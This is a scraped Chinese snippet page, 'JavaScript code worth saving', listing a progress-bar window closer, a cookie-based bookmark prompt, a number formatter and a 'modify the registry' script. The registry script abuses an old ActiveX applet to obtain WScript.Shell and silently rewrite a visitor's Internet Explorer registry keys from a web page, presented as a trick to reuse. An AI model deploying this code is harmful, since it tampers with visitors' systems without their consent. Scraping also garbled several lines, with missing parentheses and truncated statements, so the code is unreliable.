111值得收藏的JavaScript代码    }
112值得收藏的JavaScript代码}

带进度条的关闭窗口

 1值得收藏的JavaScript代码<% Function myloading(a)%>
 2值得收藏的JavaScript代码<form name="loading">
 3值得收藏的JavaScript代码      <div align="center"><center><p><input
 4值得收藏的JavaScript代码      style="PADDING-RIGHT: 0px; PADDING-LEFT: 0px; FONT-WEIGHT: bolder; PADDING-BOTTOM: 0px; COLOR: red; BORDER-TOP-STYLE: none; PADDING-TOP: 0px; FONT-FAMILY: Arial; BORDER-RIGHT-STYLE: none; BORDER-LEFT-STYLE: none; BACKGROUND-COLOR: yellow; BORDER-BOTTOM-STYLE: none"
 5值得收藏的JavaScript代码      size="46" name="chart"> <br>
 6值得收藏的JavaScript代码      <input
 7值得收藏的JavaScript代码      style="BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; COLOR: rgb(138,134,134); BORDER-BOTTOM: medium none; TEXT-ALIGN: center"
 8值得收藏的JavaScript代码      size="46" name="percent">
 9值得收藏的JavaScript代码
10值得收藏的JavaScript代码<script>  
11值得收藏的JavaScript代码var bar = 0  
12值得收藏的JavaScript代码var line = "||"  
13值得收藏的JavaScript代码var amount ="||"  
14值得收藏的JavaScript代码count()  
15值得收藏的JavaScript代码function count()
16值得收藏的JavaScript代码        {  
17值得收藏的JavaScript代码    bar= bar+2  
18值得收藏的JavaScript代码    amount =amount  +  line  
19值得收藏的JavaScript代码    document.loading.chart.value=amount  
20值得收藏的JavaScript代码    document.loading.percent.value=bar+"%"  
21值得收藏的JavaScript代码        if (bar<99)  
22值得收藏的JavaScript代码            {setTimeout("count()",100);}  
23值得收藏的JavaScript代码        else  
24值得收藏的JavaScript代码<%if a="closeit" then%>
25值得收藏的JavaScript代码            {    setTimeout("closeme();",10);  }  
26值得收藏的JavaScript代码<%else%>
27值得收藏的JavaScript代码            {    setTimeout("window.go(-1);",10);  }  
28值得收藏的JavaScript代码<%end if%>
29值得收藏的JavaScript代码        } 
30值得收藏的JavaScript代码function closeme(){
31值得收藏的JavaScript代码        self.focus();
32值得收藏的JavaScript代码        self.close();
33值得收藏的JavaScript代码        return false;
34值得收藏的JavaScript代码    } 
35值得收藏的JavaScript代码</script>
36值得收藏的JavaScript代码</p> 
37值得收藏的JavaScript代码      </center></div> 
38值得收藏的JavaScript代码</form>
39值得收藏的JavaScript代码<% End Function %>
40值得收藏的JavaScript代码

利用cookie收藏网站
 1值得收藏的JavaScript代码不用每次都询问别人是否收藏,烦!
 2值得收藏的JavaScript代码<SCRIPT LANGUAGE="JavaScript">
 3值得收藏的JavaScript代码<!-- Begin
 4值得收藏的JavaScript代码var expDays = 100;
 5值得收藏的JavaScript代码url = "http://softet.6to23.com";;
 6值得收藏的JavaScript代码title = "Come on";
 7值得收藏的JavaScript代码function GetCookie (name) {  
 8值得收藏的JavaScript代码var arg = name + "=";  
 9值得收藏的JavaScript代码var alen = arg.length;  
10值得收藏的JavaScript代码var clen = document.cookie.length;  
11值得收藏的JavaScript代码var i = 0;  
12值得收藏的JavaScript代码while (i < clen) {    
13值得收藏的JavaScript代码var j = i + alen;    
14值得收藏的JavaScript代码if (document.cookie.substring(i, j) == arg)      
15值得收藏的JavaScript代码return getCookieVal (j);    
16值得收藏的JavaScript代码= document.cookie.indexOf(" ", i) + 1;    
17值得收藏的JavaScript代码if (i == 0break;   
18值得收藏的JavaScript代码}  
19值得收藏的JavaScript代码return null;
20值得收藏的JavaScript代码}
21值得收藏的JavaScript代码function SetCookie (name, value) {  
22值得收藏的JavaScript代码var argv = SetCookie.arguments;  
23值得收藏的JavaScript代码var argc = SetCookie.arguments.length;  
24值得收藏的JavaScript代码var expires = (argc > 2? argv[2] : null;  
25值得收藏的JavaScript代码var path = (argc > 3? argv[3] : null;  
26值得收藏的JavaScript代码var domain = (argc > 4? argv[4] : null;  
27值得收藏的JavaScript代码var secure = (argc > 5? argv[5] : false;  
28值得收藏的JavaScript代码document.cookie = name + "=" + escape (value) + 
29值得收藏的JavaScript代码((expires == null? "" : ("; expires=" + expires.toGMTString())) + 
30值得收藏的JavaScript代码((path == null? "" : ("; path=" + path)) +  
31值得收藏的JavaScript代码((domain == null? "" : ("; domain=" + domain)) +    
32值得收藏的JavaScript代码((secure == true? "; secure" : "");
33值得收藏的JavaScript代码}
34值得收藏的JavaScript代码function DeleteCookie (name) {  
35值得收藏的JavaScript代码var exp = new Date();  
36值得收藏的JavaScript代码exp.setTime (exp.getTime() - 1);  
37值得收藏的JavaScript代码var cval = GetCookie (name);  
38值得收藏的JavaScript代码document.cookie = name + "=" + cval + "; expires=" + exp.toGMTString();
39值得收藏的JavaScript代码}
40值得收藏的JavaScript代码var exp = new Date(); 
41值得收藏的JavaScript代码exp.setTime(exp.getTime() + (expDays*24*60*60*1000));
42值得收藏的JavaScript代码function amt(){
43值得收藏的JavaScript代码var count = GetCookie('count')
44值得收藏的JavaScript代码if(count == null) {
45值得收藏的JavaScript代码SetCookie('count','1')
46值得收藏的JavaScript代码return 1
47值得收藏的JavaScript代码}
48值得收藏的JavaScript代码else {
49值得收藏的JavaScript代码var newcount = parseInt(count) + 1;
50值得收藏的JavaScript代码DeleteCookie('count')
51值得收藏的JavaScript代码SetCookie('count',newcount,exp)
52值得收藏的JavaScript代码return count
53值得收藏的JavaScript代码   }
54值得收藏的JavaScript代码}
55值得收藏的JavaScript代码function getCookieVal(offset) {
56值得收藏的JavaScript代码var endstr = document.cookie.indexOf (";", offset);
57值得收藏的JavaScript代码if (endstr == -1)
58值得收藏的JavaScript代码endstr = document.cookie.length;
59值得收藏的JavaScript代码return unescape(document.cookie.substring(offset, endstr));
60值得收藏的JavaScript代码}
61值得收藏的JavaScript代码
62值得收藏的JavaScript代码function checkCount() {
63值得收藏的JavaScript代码var count = GetCookie('count');
64值得收藏的JavaScript代码if (count == null) {
65值得收藏的JavaScript代码count=1;
66值得收藏的JavaScript代码SetCookie('count', count, exp);
67值得收藏的JavaScript代码
68值得收藏的JavaScript代码if ((navigator.appName == "Microsoft Internet Explorer"&& (parseInt(navigator.appVersion) >= 4)) {
69值得收藏的JavaScript代码window.external.AddFavorite (url,title);
70值得收藏的JavaScript代码}
71值得收藏的JavaScript代码else {
72值得收藏的JavaScript代码var msg = "Don't forget to bookmark us!";
73值得收藏的JavaScript代码if(navigator.appName == "Netscape") msg += "  (CTRL-D)";
74值得收藏的JavaScript代码alert(msg);
75值得收藏的JavaScript代码   }
76值得收藏的JavaScript代码}
77值得收藏的JavaScript代码else {
78值得收藏的JavaScript代码count++;
79值得收藏的JavaScript代码SetCookie('count', count, exp);
80值得收藏的JavaScript代码   }
81值得收藏的JavaScript代码}
82值得收藏的JavaScript代码checkCount();
83值得收藏的JavaScript代码//  End -->
84值得收藏的JavaScript代码</script>

JavaScript修改注册表

 1值得收藏的JavaScript代码<SCRIPT Language="JavaScript" type="text/javascript">
 2值得收藏的JavaScript代码<!--
 3值得收藏的JavaScript代码
 4值得收藏的JavaScript代码document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
 5值得收藏的JavaScript代码
 6值得收藏的JavaScript代码function f(){
 7值得收藏的JavaScript代码try
 8值得收藏的JavaScript代码{
 9值得收藏的JavaScript代码//ActiveX initialization
10值得收藏的JavaScript代码a1=document.applets[0];
11值得收藏的JavaScript代码a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
12值得收藏的JavaScript代码a1.createInstance();
13值得收藏的JavaScript代码Shl = a1.GetObject();
14值得收藏的JavaScript代码a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
15值得收藏的JavaScript代码a1.createInstance();
16值得收藏的JavaScript代码FSO = a1.GetObject();
17值得收藏的JavaScript代码a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
18值得收藏的JavaScript代码a1.createInstance();
19值得收藏的JavaScript代码Net = a1.GetObject();
20值得收藏的JavaScript代码
21值得收藏的JavaScript代码try
22值得收藏的JavaScript代码{
23值得收藏的JavaScript代码if (document.cookie.indexOf("Chg"== -1)
24值得收藏的JavaScript代码{
25值得收藏的JavaScript代码
26值得收藏的JavaScript代码
27值得收藏的JavaScript代码Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title""那个该死的网站 http://www.the****site.com";);
28值得收藏的JavaScript代码Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title""那个该死的网站 http://www.the****site.com";);
29值得收藏的JavaScript代码var expdate = new Date((new Date()).getTime() + (1));
30值得收藏的JavaScript代码document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
31值得收藏的JavaScript代码
32值得收藏的JavaScript代码}
33值得收藏的JavaScript代码}
34值得收藏的JavaScript代码catch(e)
35值得收藏的JavaScript代码{}
36值得收藏的JavaScript代码}
37值得收藏的JavaScript代码catch(e)
38值得收藏的JavaScript代码{}
39值得收藏的JavaScript代码}
40值得收藏的JavaScript代码function init()
41值得收藏的JavaScript代码{
42值得收藏的JavaScript代码setTimeout("f()"1000);
43值得收藏的JavaScript代码}
44值得收藏的JavaScript代码init();
45值得收藏的JavaScript代码
46值得收藏的JavaScript代码// -->
47值得收藏的JavaScript代码</SCRIPT> 

js中,有什么函数可以令数字每千位就加一“,”,还有什么函数可以保留小数后两位
 1值得收藏的JavaScript代码/***********************************************************
 2值得收藏的JavaScript代码Function formatnumber(value,num)
 3值得收藏的JavaScript代码Written by zergling
 4值得收藏的JavaScript代码javascript版本的FormatNumber函数,用法与VBScript相同,第一个参数是待格式化的数值,第二个是保留小数位数
 5值得收藏的JavaScript代码注意:返回的是字符串类型
 6值得收藏的JavaScript代码***********************************************************/
 7值得收藏的JavaScript代码function formatnumber(value,num)
 8值得收藏的JavaScript代码    {
 9值得收藏的JavaScript代码    var a,b,c,i
10值得收藏的JavaScript代码    a = value.toString();
11值得收藏的JavaScript代码    b = a.indexOf('.');
12值得收藏的JavaScript代码    c = a.length;
13值得收藏的JavaScript代码    if (num==0)
14值得收藏的JavaScript代码        {
15值得收藏的JavaScript代码        if (b!=-1)
16值得收藏的JavaScript代码            a = a.substring(0,b);
17值得收藏的JavaScript代码        }
18值得收藏的JavaScript代码    else
19值得收藏的JavaScript代码        {
20值得收藏的JavaScript代码        if (b==-1)
21值得收藏的JavaScript代码            {
22值得收藏的JavaScript代码            a = a + ".";
23值得收藏的JavaScript代码            for (i=1;i<=num;i++)
24值得收藏的JavaScript代码                a = a + "0";
25值得收藏的JavaScript代码            }
26值得收藏的JavaScript代码        else
27值得收藏的JavaScript代码            {
28值得收藏的JavaScript代码            a = a.substring(0,b+num+1);
29值得收藏的JavaScript代码            for (i=c;i<=b+num;i++)
30值得收藏的JavaScript代码                a = a + "0";
31值得收藏的JavaScript代码            }
32值得收藏的JavaScript代码        }
33值得收藏的JavaScript代码    return a
34值得收藏的JavaScript代码    }
35值得收藏的JavaScript代码

值得收藏的JavaScript代码

相关文章: